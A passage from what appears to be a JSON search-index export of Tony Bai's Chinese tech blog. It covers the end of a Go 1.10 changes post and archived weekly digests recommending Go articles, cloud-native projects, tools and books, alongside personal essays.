1.10的编译性能正如我们前面所说的那样，最大的改变在于cache机制的实现。事实证明cache机制的使用在日常开发过程中，会很大程度上提升你的工作效率，越是规模较大的项目越是如此。\n2、目标代码的性能 这些年Go team在不断优化编译器生成的目标代码的性能，比如在Go 1.7版本中引入ssa后端。Go 1.10延续着对目标代码生成的进一步优化，虽说动作远不如引入ssa这么大。\n3、GC性能 GC的性能一直是广大Gopher密切关注的事情，Go 1.10在减少内存分配延迟以及GC运行时的负担两个方面做了许多工作，但从整体上来看，Go 1.10并没有引入传说中的TOC(Transaction Oritented Collector)，因此宏观上来看，GC变化不是很大。Twitter上的GC性能测试“专家”Brian Hatfield在对Go 1.10rc1的GC测试后，也表示与Go 1.9相比，变化不是很显著。\n六、小结 Go 1.10版本又是一个Go team和Gopher社区共同努力的结果，让全世界Gopher都对Go保持着极大的热情和期望。当然Go 1.10中的变化还有许多许多，诸如：\n对Unicode规范的支持升级到10.0； 在不同的平台上，Assembler支持更多高性能的指令； plugin支持darwin/amd64等； gofmt、go doc在输出格式上进一步优化和提升gopher开发者体验； cgo支持直接传递go string到C代码中;\n… … 很多很多！这里限于篇幅原因，不能一一详解了。通读一遍Go 1.10 Release Note是每个Gopher都应该做的。\n以上验证在mac OS X, go 1.10rc2上测试，demo源码可以在这里下载。\n七、参考资料 Go 1.10 Release Notes The State of Go by campoy Go 1.10 pprof user interface cmd/go content-based staleness submitted Go 1.10 cmd/go: build cache, test cache, go install, go vet, test vet 著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：http://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作\n","permalink":"https://tonybai.com/2018/02/17/some-changes-in-go-1-10/","summary":"\u003cp\u003e又到了Go语言新版本的发布时间窗口了！这次的主角是\u003ca href=\"https://tip.golang.org/doc/go1.10\"\u003eGo 1.10\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-1.10-release.png\"\u003e\u003c/p\u003e\n\u003cp\u003e曾几何时， 这是很多Gopher在\u003ca href=\"http://tonybai.com/2017/02/03/some-changes-in-go-1-8/\"\u003eGo 1.8\u003c/a\u003e、\u003ca href=\"http://tonybai.com/2017/07/14/some-changes-in-go-1-9/\"\u003eGo 1.9\u003c/a\u003e时猜测是否存在的那个版本，毕竟minor version即将进化到两位数。从Go语言第一封设计mail发出到现在的\u003ca href=\"http://tonybai.com/2017/09/24/go-ten-years-and-climbing/\"\u003e十年间\u003c/a\u003e，尤其是Go语言经历了近几年的爆发式增长，基本奠定了云原生第一语言的位置之后，人们对Go语言有了更多新的、更为深刻的认知，同时对这门编程语言也有了更多的改进和优化的期望。Go2在Gopher心中的位置日益提升，直到\u003ca href=\"https://swtch.com/~rsc/\"\u003eRuss Cox\u003c/a\u003e在\u003ca href=\"https://github.com/gophercon/2017-talks\"\u003eGopherCon 2017\u003c/a\u003e上公布了Go core team对\u003ca href=\"https://blog.golang.org/toward-go2\"\u003eGo2的开发策略\u003c/a\u003e，我们才意识到：\u003cstrong\u003e哦，Go1还将继续一段时间，甚至是一段很长的时间。2018年2月，我们将迎来Go 1.10版本\u003c/strong\u003e。\u003c/p\u003e","title":"Go 1.10中值得关注的几个变化"},{"content":"本文是首发于个人微信公众号的文章**“TB一周萃选[第9期]”**的归档。\n亲情犹如一江剪不断的春水，流动的是游子心中永远的思念；亲情犹如一丘数不尽的细沙，沉淀的是长年堆积的牵挂；亲情犹如夜空中那颗北斗，指引的是那迷路的羔羊回家的方向。忙碌了一年，该回家了，给心放个假，带上媳妇带上你的娃，回家看看那年迈的爸妈，出发！ — 改编自网络\n此时此刻，很多人刚刚踏上了春节回家的旅途，有些人更是已经叩开了家的大门。每逢中国传统佳节-春节，令世界瞩目并为之瞠目结舌的中国式人口大迁移就会发生一次：几亿人熬夜刷票并不辞辛劳地携着夫/妻儿女，经由多种交通工具，跨越高山大河，不远千百里，战胜种种“囧况”，只为一个目的：在春节前回到那个充满熟悉味道的家乡。\n这种在一个文明延续5000多年未中断的民族中发生的全民行为让西方社会感到十分不解，甚至指责这是对资源的一种浪费；并且也有国内的人发出类似不和谐的声音。但是它依然在发生着，每年都在发生，形式有些许变化，但剧情大体雷同。\n曾经有国内外学者对中国特有的春节大迁徙的原因进行研究和分析，并给出了各种专业化的理由。但在我看来，对现代人来说，回家过年，是一种心灵的相互充电! 而且是充电7天，“通话”一整年。\n对于一年到头在外奔波劳碌的人们来说，只有回家，才能真实地触摸到自己的“根”，才能切切实实地体会这种归属感，才能在一定程度上纾解那些在工作的城市中涵盖不了的人生寄托。在这种归属感中，哪怕只是获得片刻的身心安宁，也是一种极为重要的精神能量的充电；而对于守候在家乡的父母或者孩童儿，你的回家，让他们将近一年的期盼终于有了一个圆满的结果，这同样为下一个365天的期盼周期提供了强大的动力和希望。\n如果非要给这种行为找个理由，那我要说这就是由一个体内延绵数千年的中华民族血脉的中国人的基因所决定的。\n一、一周文章精粹 1. Go 1.10发布Party 自从Go 1.6开始，每逢偶数版本（一般在每年2、3月发布），Gopher社区都会举办庆祝Release的全球Party。在中国农历春节到来之际，也恰逢Go最新版本Go 1.10即将发布之时，Go wiki发布了Go 1.10 Release Party的Schedule和相关资料。截至目前，已经有15个Party已经list到页面上，活动从2月15号一直延续到3月份。\nGo 1.10发布Party官网页面 Go 1.10 Release Note Draft The State of Go 1.10 2. 避免或减少对Go context Value的使用 context包最初诞生于Google公司内部，并在Google内部项目大量使用。context在golang/x中孵化了多年，并得到了很多开源项目的使用，尤其是一些使用了”middleware”模式的项目中，于是在Go 1.7发布时，context包正式加入Go标准库。context加入后，可谓既带来魔力，亦带来了争议，甚至有人将其视为具有“病毒”属性，一旦使用，便可轻易传染到项目中代码的各个角落。\nGo开发者、培训师Jon Calhoun也在个人网站上撰写了一篇文章，来告诫大家Go context value的一些缺陷，建议大家避免或减少对Go context Value的使用，并给出自己的替代方案。其主要理由是：context.WithValue和Context.Value的使用让我们失去了编译器对类型安全性的检查。\n文章链接：“Pitfalls of context values and how to avoid or mitigate them in Go”\n3. 来自Google Cloud Platform的12条有关用户账号、授权和密码管理的最佳实践 对于许多开发者来说，账户管理是一个黑暗的角落，没有得到足够的重视。来自Google Cloud Platform的解决方案专家Ian Maddox给我们带来了12条有关此方面的最佳实践，包括：区分用户标识与用户账号、允许用户更改用户名、用户ID大小写敏感、两步验证等。\n文章链接：“12 best practices for user account, authorization and password management”\n4. AI界网红-深度学习之父Geoffrey Hinton的传奇学术生涯 这几年最火爆的人工智能技术就是深度学习，可以说当下的主流人工智能就是深度学习，而深度学习的理论基石就是反向传播。和当代物理学类似，最新的计算机应用实际上也是在消化几十年前就已经建立的理论，这不：反向传播就是Geoffrey Hinton与同事David Rumelhart、Ronald Williams在1986年发布的成果，Geoffrey Hinton也因此被誉为深度学习之父。Geoffrey Hinton花了30年在AI前沿的研究，在今天终于开花结果。不过这位现在AI奠基人并没有就此停歇，去年他还提出了“胶囊理论”，不过要彻底理解他的理论，不知道AI应用界还要花多久。下面这篇文章是“多伦多生活”上发表的一篇有关Geoffrey Hinton的传奇学术生涯的新闻稿，我们可以通过它一瞥AI超级明星的学术人生。\n图：Geoffrey Hinton\n文章链接：“深度学习之父Geoffrey Hinton的传奇学术生涯”\n5. Go项目在github上接受PR了 go语言自身的开发一直是在google内部的平台上，github上的golang项目仅仅是其一个mirror。在这之前，golang项目在github上是拒绝pr的，contributor必须注册google的开发账号才能为go语言本身做贡献，这种门槛显然有些高。近期Go项目作出了对社区更为友好的举动：允许在github上直接提交PR。不过代码的review依旧是在google原平台上，github上提交的pr将被GerritBot自动同步到Go team的Gerrit上进行code review。不过这已经是一个不错的开端了。估计会吸引更多开发者为Go做contribution。\n文章链接：\n* “doc: remove Pull Request note in README.md”\n* “pr流程”\n二、一周资料分享 1. istio微服务教程 by Redhat 下一代微服务平台日益火爆，比如：istio、conduit等。近期Redhat开源了一套istio微服务教程，主要是for java microservice，但感觉对其他语言开发的微服务也适用。教程使用的是istio最新发布的0.5.0版本，底层使用的是redhat自身的oc平台(openshift)，但替换成kubernetes应该很容易。教程包含的内容还是很全面的，针对包括metrics、tracing、routerule管理、fault injection、retry\u0026amp;timeout、mirroring traffic、access control、rate limiting、circuit breaker、egress等常见的微服务框架治理机制都提供了demo实例。\n资料分享链接：Istio Tutorial for Java Microservices\n三、一周项目推荐 1. rook：致力于让存储服务成为云原生平台上的“头等”服务 2018年1月30日，云原生cncf组织下又增加了一位新成员:rook项目，由于刚入行，其与linkerd、coredns同样处于Inception级别。rook是什么？它解决了哪些问题呢？\n如今在Kubernetes上部署的应用在使用存储服务时，多使用k8s集群外提供的外部存储服务。在公有云上，使用较多的是诸如EBS、S3等；在定制云/私有云中，使用的则是NFS、Ceph或更为传统的存储解决方案，如下图所示：\n图：使用rook前\nRook存在的意义就是将存储服务移入集群内部，让那些依赖存储服务的应用可以无缝地使用这些服务，这样一来，整个云原生集群环境就可以脱离厂商依赖（比如对amazon、google cloud platform的依赖），实现整体的可移植了，无论是公有云还是私有云。\n图：使用rook后\n可以说，Rook让存储服务成为云原生平台上的“头等”服务，与其他应用服务一样。\n那Rook究竟是什么呢？Rook不是一个像ceph那样的分布式共享存储系统。rook的考虑是：与其花费几年甚至十几年实现一个成熟的、久经考验的分布式存储系统，到不如帮助现有的已经十分成熟的、久经沙场的存储系统更方便的被云原生环境中的应用所使用，比如：ceph。于是rook通过将那些专有存储服务管理员的日常操作自动化：包括引导启动、配置、伸缩、升级、迁移、灾难恢复、监控、资源管理，将存储服务包装为云原生应用，无缝运行在云原生环境上，目前主要是在Kubernetes上。\n图：rook架构\nRook的出现，迅速得到了来自Redhat、ceph开发者的支持，社区也在日益壮大。目前其最新版本为v0.6.2，按计划在2018年中旬发布第一个production-ready的正式版。\n项目地址：Rook\n四、一周图书推荐 1.《High Performance Browser Networking》 Ilya Grigorik是Google性能优化工程师，他在2013出版的这本《High Performance Browser Networking》堪称当代Web性能调优的圣经。该书以调优为核心，从网络基础(101)讲起，然后深入探讨了无线和移动网络的工作机制。最后，揭示了HTTP 协议的底层细节，同时详细介绍了HTTP 2.0、 XHR、SSE、WebSocket、WebRTC 和DataChannel 等现代浏览器新增的具有革命性的新能力。该书无论是对前端开发，还是后端网络服务开发设计人员都是大有裨益的。\n更重要的是该书当时所讲述的诸多浏览器协议技术，比如：HTTP2.0、WebSocket、SSE在如今已经成为标准，并广泛应用于生产实践中。\n图书链接：\n英文版：《High Performance Browser Networking》\n中文版：《Web性能权威指南》\n免费版：《High Performance Browser Networking》\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：http://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作\n","permalink":"https://tonybai.com/2018/02/11/9th-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/","summary":"\u003cp\u003e本文是首发于\u003ca href=\"https://mp.weixin.qq.com/mp/qrcode?scene=10000005\u0026amp;size=102\u0026amp;__biz=MzIyNzM0MDk0Mg==\u0026amp;mid=2247483848\u0026amp;idx=1\u0026amp;sn=a3cd9182a2b2d3716623cc2c43d59f37\u0026amp;send_time=\"\u003e个人微信公众号\u003c/a\u003e的文章**“TB一周萃选[第9期]”**的归档。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/weekly-issues/9th-issue/go-home-during-spring-festival.jpg\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e亲情犹如一江剪不断的春水，流动的是游子心中永远的思念；亲情犹如一丘数不尽的细沙，沉淀的是长年堆积的牵挂；亲情犹如夜空中那颗北斗，指引的是那迷路的羔羊回家的方向。忙碌了一年，该回家了，给心放个假，带上媳妇带上你的娃，回家看看那年迈的爸妈，出发！ — 改编自网络\u003c/p\u003e","title":"TB一周萃选[第9期]"},{"content":"本文是首发于个人微信公众号的文章**“TB一周萃选[第8期]”**的归档。\n再看看那个光点，它就在这里。那是我们的家园，我们的一切。你所爱的每一个人，你认识的每一个人，你听说过的每一个人，曾经有过的每一个人，都在它上面度过他们的一生。我们的欢乐与痛苦聚集在一起，数以千计的自以为是的宗教、意识形态和经济学说，所有的猎人与强盗、英雄与懦夫、文明的缔造者与毁灭者、国王与农夫、年轻的情侣、母亲与父亲、满怀希望的孩子、发明家和探险家、德高望重的教师、腐败的政客、超级明星、最高领袖、人类历史上的每一个圣人与罪犯，都住在这里——一粒悬浮在阳光中的微尘。\n但在浩瀚的宇宙剧场里，地球只是一个极小的舞台。\n——卡尔·萨根 《暗淡蓝点》\n笔者注：那个光点所指的是1990年旅行者1号于距地球64亿公里处最后一次回望母星的照片中的地球，它只是一个占用2-3个像素的光点。\n这一周，我们被“超级月亮”、“红月亮”、“月全食”等关键字刷屏了。月全食并不是稀罕物，据说一般2年就会有一次，而且由于是体格巨大的地球遮住月球，因此可观赏的地域也是很广阔的，与稀罕的日全食有大不同。这次月全食的特殊之处在于月亮恰位于公转的近地点，看起来大一些罢了。即便大，也有很多人不屑去看，但更多的人选择关注这个事件，并抽空儿抬头瞄上两眼，还有一部分更为执着的天文爱好者们冒着严寒，移步到远离市区的户外，就为了能最大程度降低城市光污染对观赏的影响。\n对地外星体或天文现象的关注，古人早已有之。只是古代人不明其理，以神秘或神灵释之。究其深层原因？人类为何从古自今保持对地外事物的关注，仅仅是看客？仅仅是好奇么？从每个个体的角度来看也许是这样，但从人类文明整体的角度来说，这是根植于我们人类古老的基因所决定的：人类社会终极目标就是要不断的生存和繁衍下去，世世代代，子子孙孙无穷尽也。古时人类即是如此，但苦于能力不足，无法将手臂伸到地球之外。但随着人类文明演化和发展，尤其是当人类科技发展突飞猛进之后，人类逐渐意识到：“地球也许是我们的第一个家，但可能不是我们唯一的家”。“人类生存和繁衍”的使命促使着人们不断地走出地球，其第一要务就是找到合适人类生存的第二家园或更多家园，附带的任务可能是为人类在茫茫的宇宙星海中找到其他“邻居”。\n只是和科幻片中的宇宙探索进展相比，现实中的我们的进展还是太缓慢了。\n一、一周文章精粹 1. 写Go代码时遇到的那些问题[第2期] 年前开启写的一个Go coding系列，这里广告一下。第2期内容关注了dep的日常工作流、“超时等待退出”框架的一种实现以及Go testing中的fixture的setUp和tearDown，欢迎交流。\n文章链接：“写Go代码时遇到的那些问题[第2期]“\n2. 使用不到200行Go代码实现你的区块链 2017年以来，随着比特币价格的爆发，区块链技术热度也逐渐走强。对于技术人来说，区块链是什么不能仅停留在口头上，Show your code更重要。这篇文章旨在以Go代码从头开始实现一个简易区块链的demo，目的是帮助你理解区块链背后的原理。\n文章链接：“Code your own blockchain in less than 200 lines of Go!”\n3. “The Good Way to REST”系列 自从Roy Thomas Fielding在他2000年的博士论文中提出了REST(REpresentational State Transfer)设计原则后，RESTful架构一度在Web Service的领域占据了大片领地，直到近几年RPC的兴起，RESTful才有了一副“过气网红”的样子。总体来说，RESTful已是一门成熟的设计技术原则。REFINERI咨询师Berat Daglar撰写了三篇文章，对REST的概念、原理机制以及发展过程进行了介绍和总结：\n文章链接：\n* “The Good Way to REST: Introduction”\n* “The Good Way to REST: Core Values And Mechanics”\n* “The Good Way To REST: Road to Maturity”\n4. Apollo 2.0框架和源码分析(一) Baidu的Apollo自动驾驶平台一经发布就受到了广泛的关注。其最新Apollo 2.0更是具备了实现简单城市道路自动驾驶的能力。\n知乎专栏上的这篇“”文章为大家详细介绍了Apollo 2.0软硬件框架结构。但源码分析还要等后续部分出炉。\n文章链接： Apollo 2.0框架和源码分析(一)\n5. Go package import全面总结 Go基础知识范畴，该文对Go中各种形式的import用法进行了梳理，初学者可以看看。\n文章链接：“Go tips and tricks: almost everything about imports”\n二、一周资料分享 1.远程工作指南 在这个网络时代，远程工作的方式越来越多的被很多个人和公司所青睐，其尤其适合程序猿、撰稿人等以计算机为工具进行“创作”的键盘族，一台电脑+一根网线（一个无线路由）足矣。remote working形式还尤其适合“松耦合”、初期无固定办公场所的初创公司。\n但对于一个公司或组织而言，采用远程工作的方式还是有一定挑战的：比如：如何招聘到正确的人、高效沟通、有效管理、远程工作文化的建立等。这些都可以从下面这份远程工作指南的资料中找到。\n资料链接：“远程工作指南”\n2. Hacker 101指南 “安全”永远是影响广泛但从业人员又相对小众的领域。对于一般开发者而言，“安全”永远是被最后考虑的topic，而所谓的安全问题又都是开发者“一手造就”的，这似乎是一个死结。\nhacker101.com网站推出了free的web安全视频课程，从名字中的“101”我们也可以知道这是一个入门课程，课程包括会话安全和漏洞两大主题，值得一看。\n资料链接：“Hacker 101 Guide”\n三、一周工具推荐 1. vscode+vscode-go+vscodevim组合 再吹一波vscode!\n之前曾写过一篇文章《使用Visual Studio Code辅助Go源码编写》，那个时候我依然以Vim为主，vscode为辅。不过当时在文章中我就提到过vim结合vim-go在我的机器上存在的一些问题：比如save文件时非常慢、光标移动后光标下的字符显示异常等。这些问题我个人猜测与vim-go使用的相关插件的性能有关，也许也和我的单一GOPATH目录下go packages过多有关。不过，无论怎样，vim下写Go代码的体验日益糟糕。\n因此在这两个月编码较多、task较为急迫的情况，我切换到了**“vscode+vscode-go+vscodevim”**组合，这以后除了因gocode偶尔崩溃导致的自动补齐失效(可以重启gocode解决：gocode close;gocode)之外，基本没有遇到什么较大问题。\n可以说vscode为多种编程语言的程序员之间提供了一种通用的“工具”语言。可惜在android mobile或pad上无法使用vscode。\n工具链接：vscode\n四、一周图书推荐 1.《Designing Distributed Systems – Patterns and Paradigms for Scalable, Reliable Services》 Brendan Burns目前是微软azure的技术工程总监，但其更响亮的title是之前在Google Cloud Platform工作时和Joe Beda、Craig McLuckie一起发起了Kubernetes开源项目，开启了分布式计算的新时代。\n近期Brendan Burns刚刚发布了自己的新书《Designing Distributed Systems – Patterns and Paradigms for Scalable, Reliable Services》。在书中，Brendan Burns借用软件设计模式的概念阐述和总结了构建一个可靠、可扩展的分布式系统时可能使用到的一些“模式”：\n单机模式(Single-Node Patterns) 边车模式 (Sidecar Pattern) 大使模式 (Ambassador Pattern) 适配器模式(Adapter Pattern) 服务模式(Serving Patterns) 带负载均衡的多副本无状态服务(Replicated Load-Balanced Services) 分片服务(Sharded Services) 分散/聚集(Scatter/Gather) 函数即服务和事件驱动处理(Functions and Event-Driven Processing) 分布式选主(Ownership Election) 批处理计算模式(Batch Computational Patterns) 工作队列系统(Work Queue Systems) 事件驱动批处理(Event-Driven Batch Processing) 协作批处理(Coordinated Batch Processing) 该书完全面对基于容器以及容器调度管理平台的构建的分布式系统，是云原生时代不可多得的技术参考书。该书由O’Reilly出版，目前在azure的站点上可以免费下载。\n图书链接：《Designing Distributed Systems 》\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：http://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作\n","permalink":"https://tonybai.com/2018/02/03/8th-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/","summary":"\u003cp\u003e本文是首发于\u003ca href=\"https://mp.weixin.qq.com/mp/qrcode?scene=10000005\u0026amp;size=102\u0026amp;__biz=MzIyNzM0MDk0Mg==\u0026amp;mid=2247483848\u0026amp;idx=1\u0026amp;sn=a3cd9182a2b2d3716623cc2c43d59f37\u0026amp;send_time=\"\u003e个人微信公众号\u003c/a\u003e的文章**“TB一周萃选[第8期]”**的归档。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e再看看那个光点，它就在这里。那是我们的家园，我们的一切。你所爱的每一个人，你认识的每一个人，你听说过的每一个人，曾经有过的每一个人，都在它上面度过他们的一生。我们的欢乐与痛苦聚集在一起，数以千计的自以为是的宗教、意识形态和经济学说，所有的猎人与强盗、英雄与懦夫、文明的缔造者与毁灭者、国王与农夫、年轻的情侣、母亲与父亲、满怀希望的孩子、发明家和探险家、德高望重的教师、腐败的政客、超级明星、最高领袖、人类历史上的每一个圣人与罪犯，都住在这里——一粒悬浮在阳光中的微尘。\u003c/p\u003e","title":"TB一周萃选[第8期]"},{"content":"本文是首发于个人微信公众号的文章**“TB一周萃选[第7期]”**的归档。\n我看过小马哥(哈维尔·马斯切拉诺)踢球，\n你看过小马哥踢球，\n他看过小马哥踢球。\n我们看过小马哥踢球，\n你们看过小马哥踢球，\n他们看过小马哥踢球！\n— 改编自网络资料\n都说三九天是一年中最冷的一段时间，但我们这里稍有偏差，就个人赶脚：四九、五九才是我们这里温度的最低点。这一周的感受用一句东北话来说就是嘎嘎冷！体感温度近零下30摄氏度：一开车门，好不容易凝聚在身体周遭的“热量”瞬间散失，似乎已经有10多年没有感觉到如此持续的寒冷了。\n但巴萨新闻中的一则消息却让作为阿根廷和巴萨双重球迷的我感到了一丝温暖。北京时间本周五凌晨，在巴萨主场与西班牙人队的国王杯四分之一决赛前，梦三主力、巴萨后防中坚小马哥携着自己的家人在巴萨队友的列队欢迎下、在诺坎普主场球迷山呼海啸般的欢呼声中走入诺坎普，和大家做着最后的告别。对于一名职业球员来说，这已经算是在俱乐部层面能得到的最高荣誉了。\n虽说梅球王是我的最爱，但小马哥也是我十分喜欢和尊敬的一名足球运动员，在他的身上你几乎能够看到一名职业运动员所有的“正能量”标签：高超的专业能力、职业、自律、低调、坚毅、领导力、热爱足球、热爱家庭、没有绯闻等。对于小马哥这样的功勋球员，以“不只是一家俱乐部(Mes que un club)”为使命的巴萨俱乐部也做出了最大的让步，为小马哥设定了较低的转会费，让他可以按照自己的意愿成功转会到中超的华夏幸福。\n小马哥将自己职业生涯中最好的七年奉献给了巴萨，对巴萨的贡献可谓是居功至伟！看看小马哥为巴萨赢得的荣誉吧。\n感谢小马哥，祝福小马哥在后续的职业生涯中一切顺利！在中国生活的快乐！\n一、一周文章精粹 1. Hello, 中国! 由于“众所周知”的原因，大陆地区的Gopher们在访问Go官方站点时十分困难。这一定程度上影响了Go在大陆地区的推广。但Go语言在大陆地区的发展势头让Go team看到了建立大陆地区mirror站的必要性。就在这一周，中国的Gopher们迎来了一个Go官方的好消息，那就是Go语言大陆地区官方网站上线了。网站的地址是https://golang.google.cn，这个网站目前就是Go官方站的mirror，很多深层的链接可能依然指向源站，不过迈出第一步总是好的。\n文章链接：“Hello，中国!”\n2. 尚未修复的逃逸分析缺陷(Escape-Analysis Flaws) William Kennedy是著名的Go语言培训师，也是《Go in action》这本书的作者之一，他在Ardan Labs网站上撰写了许多篇关于Go语言的学习资料。其中最新的一篇“Escape Analysic Flaws”探讨了当前Go compiler(截至到Go 1.9)中依然存在的逃逸分析的缺陷，包括：\nIndirect Assignment Indirect Call Slice and Map Assignments Interfaces Unknown Go实际编码过程中减少在heap上的内存分配是提升性能，减少cost的好方法，通过William的分析，我们也期望能做到尽量避免逃逸的情况，但有些时候做起来很难。因此，让Go compiler自身变得更聪明才是终极解决方法。\n文章链接：“Escape-Analysis Flaws”\n3. Github用户使用的编程语言排名 国外友人Ben Fredericksont通过对2011以来github的public event数据的分析，得出了关于github上编程语言的使用变化趋势，包括：top ten活跃语言、主流语言的活跃程度变化趋势、2018值得学习的几个热门新语言、几门趋势下降很快的语言、科学计算语言的变化趋势、函数式语言的变化趋势等。\n图：2018值得学习的几个热门新语言\n文章链接：“Ranking Programming Languages by GitHub Users”\n4. Nonblocking I/O指南 Go语言的默认的网络I/O编程模型是阻塞I/O，这可以大幅降低应用开发者在处理网络I/O时的心智负担。但这也仅限于“用户层面”，研究过Go runtime调度的gopher都知道，在runtime内部，关于网络I/O的调度实际上是Nonblocking的。imgix的工程师Cindy Sridharan曾全面细致总结了对Nonblocking I/O的技术要点的理解，这里推荐给大家。\n文章链接：“Nonblocking I/O”\n5. 预测：2018年的最佳Linux发行版 Linux内核已经成为这个星球上使用最为广泛的操作系统内核了，无论是云服务器，还是桌面机，从移动终端到Iot设备，现代人身边10米范围内，一般总能找出一台运行着Linux内核的设备。而对于用户而言，看到的更多是基于Linux内核的各种发行版，比如：Ubuntu、CentOS等。年初JACK WALLEN在linux.com博客上撰文预测了2018年各个领域的最佳Linux发行版，包括从sysadmin、桌面版、server版、便携版、iot版等多个方面。这些预测基于distrowatch.com上各个发行版的人气排名。\n文章链接：“best linux distributions for 2018”\n6. 如何使用Go语言创建基于AWS Lambda的serverless应用 AWS Lambda宣布支持Go不久，各路关于如何使用Go在AWS Lambda创建serverless应用的资料便接踵踏来。这里推荐的就是其中的一篇。对于想使用Go在AWS Lambda上“尝鲜”的Gopher们，这是个不错的入门文章。\n文章链接：“Serverless Golang API with AWS Lambda”\n7. JavaScript框架终极指南 JavaScript这门语言虽然“颜值”不那么高，但这并不妨碍它抱上浏览器这一“大腿”，并还进军了服务端市场。在这一过程中，JavaScript领域诞生了诸多Framework，最出名的莫过于三巨头：Angular、React和Vue.js这三个框架了。除此之外，还有太多我甚至没有听过名字的框架。这里推荐的“JavaScript框架终极指南”一文就是对JavaScript目前的主流框架的状态、优劣势进行详细总结说明的一篇文章，希望能帮助你挑选出最适合你的Js框架。\n文章链接：“The Ultimate Guide to JavaScript Frameworks”\n二、一周资料分享 1. ROSCon 2017资料 ROS作为世界上应用最为广泛、最具影响力的开源机器人操作系统，它从2012年开始举办的ROSCon大会就备受关注，2017年ROSCon大会在加拿大温哥华举行。在人工智能、智能驾驶如此“热”的今天，ROS作为很多智能驾驶平台（比如百度的Apollo、tierIV的autoware等）的底层支撑组件自然吸引了自全世界范围内的学者和工程师的眼球和参与。这次大会的topic是干货满满，由于是ROS2发布正式版前的最后一次大会，因此涉及ROS2的topics十分多，算是为ROS2正式登场预热(注：ROS2在2017.12.10正式发布，代号：Ardent Apalone)。\n资料分享链接：“ROSCon 2017资料”\n三、一周工具推荐 1. carbon：一款源码图片创建和分享的工具 在技术文章写作中，我们会有大量的代码截图的需求，但限于客观原因，截图的质量和风格难于把控。Carbon这个工具就是来帮助解决这个问题的。Carbon是一个在线服务，支持通过将源码文件拖拽到生成框中自动生成代码图片。Carbon支持几乎所有主流语言，并可以自动识别，并且Carbon支持多种风格的代码高亮样式，比如：Monokai、Solarized等。\n图：Carbon主页\n图：Carbon生成的Go源码图片\n推荐工具链接：Carbon\n四、一周图书推荐 1.《Hello World! Second Edition – Computer Programming for Kids and Other Beginners》 都说00后是互联网时代的原住民，那么伴着这轮AI热，我们是否可以大胆地说2020后或2025后是AI时代的原住民呢。这让我仿佛看到了“超能陆战队”中男主小宏所使用的IT装备和掌握的编程技能。也许在未来10年后，编程就会像数学、语文一样成为在AI时代的基本技能。而这一切都要从娃娃抓起，从编程基础抓起。Sande父子合作编写的这本《Hello World》图文并茂地将孩子带入二进制的程序世界，孩子将在轻松惬意的氛围中学习基础的编程概念：如内存、循环、输入和输出、数据结构和图形用户界面等。对于如今智力水平普遍较高的孩子们来说，这些内容就像小游戏般容易掌握。书中使用的教学语言是Python，别忘了目前的Python可是AI时代的top3语言，并是AI第一语言的强有力的竞争者。\n很多人说：当前儿童编程的第一语言是MIT的Scratch，我不能否认这一点，Scratch就是为Kids们所创造的，它是MIT继Seymour Papert教授在创建LOGO语言、探索儿童编程教育后的又一杰作。全图形化的编程教学让孩子们很是喜欢。但我个人觉得如果能结合一些真实代码，尤其是对于中高年级的学生来说，将是大有裨益的。\n作为Gopher，我一直在想足够简洁的Go语言也是可以作为儿童编程教学语言的，希望能早日出现一门以Go语言为第一教学语言的儿童编程图书。\n图书链接：\n《父与子的编程之旅 – 与小卡特一起学Python》\n《Hello World! Second Edition – Computer Programming for Kids and Other Beginners》\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：http://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/01/28/7th-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/","summary":"\u003cp\u003e本文是首发于\u003ca href=\"https://mp.weixin.qq.com/mp/qrcode?scene=10000005\u0026amp;size=102\u0026amp;__biz=MzIyNzM0MDk0Mg==\u0026amp;mid=2247483848\u0026amp;idx=1\u0026amp;sn=a3cd9182a2b2d3716623cc2c43d59f37\u0026amp;send_time=\"\u003e个人微信公众号\u003c/a\u003e的文章**“TB一周萃选[第7期]”**的归档。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" 